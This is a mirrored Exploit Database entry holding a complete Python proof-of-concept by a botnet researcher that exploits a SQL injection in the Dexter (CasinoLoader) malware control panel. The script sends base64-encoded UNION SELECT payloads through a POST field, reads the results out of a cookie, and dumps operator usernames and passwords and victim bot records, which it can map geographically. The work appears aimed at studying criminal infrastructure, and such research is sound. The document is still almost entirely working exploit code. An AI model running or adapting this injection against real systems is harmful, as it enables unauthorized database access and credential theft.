Dexter (CasinoLoader) Panel – SQL Injection

Exploit Database
122 阅读

作者： bwall

日期： 2014-02-16
类别：
- webapps
平台：
- multiple
来源：https://www.exploit-db.com/exploits/31686/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

# Exploit Title: Dexter (CasinoLoader) Panel SQLi

# Date: Feb, 13, 2014

# Exploit Author: Brian Wallace (@botnet_hunter)

# Version: CasinoLoader

# Tested on: Windows 7, Ubuntu, Debian

import pycurl

import urllib

import cStringIO

import base64

import argparse

import sys

import string

import pygeoip

version = "0.1-http_bots-PoC"

def PrintHelp():

global version

print "usage: dexter.PoC.py [-h] [action] [gateway url]"

print ""

print "Dexter CasinoLoader BAMF PoC v" + version

print "Exploiting CasinoLoader panels for information"

print "By Brian Wallace (@botnet_hunter)"

print ""

print "arguments:"

print "actionActions to be taken against the botnet (default: dump)"

print "dump - Print configuration information obtained from source file"

print "drop - Execute a command to make the bot scripts exit"

print "sourcePath to non-obfuscated source code for the target bot (default: stdin)"

print ""

print("GPS:")

print("-m MaxMind Location Location of Maxmind database files (default .)")

print ""

print "-h, --helpPrint this message"

print ""

class DexterPanel:

def __init__(self, gateway_url):

self.gateway_url = gateway_url

@staticmethod

def _get_field(gateway, table, column, row):

buf = cStringIO.StringIO()

c = pycurl.Curl()

c.setopt(c.URL, gateway)

page = "' AND 1=2 UNION ALL SELECT 1," + column + ",3 FROM " + table + " LIMIT 1 OFFSET " + str(row) + " -- --"

params = urllib.urlencode({'val': 'AA==', 'page': base64.b64encode(page)})

c.setopt(c.POSTFIELDS, params)

c.setopt(c.HEADERFUNCTION, buf.write)

c.perform()

val = buf.getvalue()

cookie = None

for line in val.split('\n'):

line = line.strip()

if line.count('Set-Cookie:') > 0 and line.count("response") > 0:

cookie = line

cookie = cookie[cookie.find('=') + 1:]

cookie = urllib.unquote(cookie)

cookie = base64.b64decode(cookie)

cookie = cookie[1:]

cookie = cookie[:-2]

break

buf.close()

return cookie

def get_all_user_details(self):

count = 0

users = []

while True:

user = self._get_field(self.gateway_url, 'users', 'name', count)

if user is None or user == "":

break

password = self._get_field(self.gateway_url, 'users', 'password', count)

count += 1

users.append({'user': user, 'password': password})

return users

def get_all_bot_details(self):

count = 0

bots = []

while True:

user = self._get_field(self.gateway_url, 'bots', 'RemoteIP', count)

if user is None or user == "":

break

count += 1

bots.append({'RemoteIP': user,

'UID': self._get_field(self.gateway_url, 'bots', 'UID', count),

'Version': self._get_field(self.gateway_url, 'bots', 'Version', count),

'Username': self._get_field(self.gateway_url, 'bots', 'Username', count),

'Computername': self._get_field(self.gateway_url, 'bots', 'Computername', count),

'UserAgent': self._get_field(self.gateway_url, 'bots', 'UserAgent', count),

'OS': self._get_field(self.gateway_url, 'bots', 'OS', count),

'Architecture': self._get_field(self.gateway_url, 'bots', 'Architecture', count),

'Idle Time': self._get_field(self.gateway_url, 'bots', 'Idle Time', count),

'Process List': self._get_field(self.gateway_url, 'bots', 'Process List', count),

'LastVisit': self._get_field(self.gateway_url, 'bots', 'LastVisit', count),

'LastCommand': self._get_field(self.gateway_url, 'bots', 'LastCommand', count)})

return bots

if __name__ == "__main__":

parser = argparse.ArgumentParser(add_help=False)

parser.add_argument('action', nargs='?', type=str, default="dump", help="Actions to be taken against pBots (default: dump)", choices=["dump", "graph"])

parser.add_argument('gateway', nargs='?', type=str, default=None, help="URL to Dexter bot gateway")

parser.add_argument('-m', metavar='maxmind', type=str, nargs='?', default='./GeoLiteCity.dat')

parser.add_argument('-h', '--help', default=False, required=False, action='store_true')

args = parser.parse_args()

if args.help or args.gateway is None:

PrintHelp()

sys.exit()

if args.action == "dump":

url = args.gateway

dex = DexterPanel(url)

print "User details: %s" % dex.get_all_user_details()

print "Bot details: %s" % dex.get_all_bot_details()

elif args.action == "graph":

url = args.gateway

dex = DexterPanel(url)

bots = dex.get_all_bot_details()

#load Maxmind

sys.stderr.write('Loading MaxMind Database\n')

gi = pygeoip.GeoIP(args.m)

nodes = {}

connections = []

nodes["C2"] = {"id": 0, "label": "C2", "mod": 0}

highestnode = 1

#loop through all bots

for bot in bots:

ip = bot["RemoteIP"]

geoip = gi.record_by_addr(ip)

node = {"id": highestnode, "label": ip, "host": ip, "mod": 1}

highestnode += 1

if geoip is not None:

node['lat'] = geoip["latitude"]

node['lng'] = geoip["longitude"]

nodes[ip] = node

connections.append([node['id'], 0])

print('<?xml version="1.0" encoding="UTF-8"?>')

print('<gexf xmlns="http://www.gexf.net/1.2draft" version="1.2">')

print('<meta lastmodifieddate="2009-03-20">')

print(('<creator>' + "bwall" + '</creator>'))

print('<description></description>')

print('</meta>')

print('<graph mode="static" defaultedgetype="directed">')

print('<attributes class="node" mode="static">')

print('<attribute id="modularity_class" title="Modularity Class" type="integer"></attribute>')

print('<attribute id="lat" title="lat" type="double"></attribute>')

print('<attribute id="lng" title="lng" type="double"></attribute>')

print('</attributes>')

print('<nodes>')

for name, node in list(nodes.items()):

if 'lat' in node:

print(('<node id="' + str(node['id']) + '" label="' +

node['label'] + '">'))

print('<attvalues>')

print(('<attvalue for="modularity_class" value="' +

str(node['mod']) + '"></attvalue>'))

print(' <attvalue for="lat" value="' + str(node['lat']) + '"></attvalue>')

print(' <attvalue for="lng" value="' + str(node['lng']) + '"></attvalue>')

print('</attvalues>')

print('</node>')

else:

print(('<node id="' + str(node['id']) + '" label="' +

node['label'] + '">'))

print('<attvalues>')

print(('<attvalue for="modularity_class" value="' +

str(node['mod']) + '"></attvalue>'))

print(' <attvalue for="lat" value="0"></attvalue>')

print(' <attvalue for="lng" value="0"></attvalue>')

print('</attvalues>')

print('</node>')

print('</nodes>')

print('<edges>')

count = 0

for node in connections:

print(('<edge id="' + str(count) + '" source="' + str(node[0]) +

'" target="' + str(node[1]) + '" />'))

count += 1

print('</edges>')

print('</graph>')

print('</gexf>')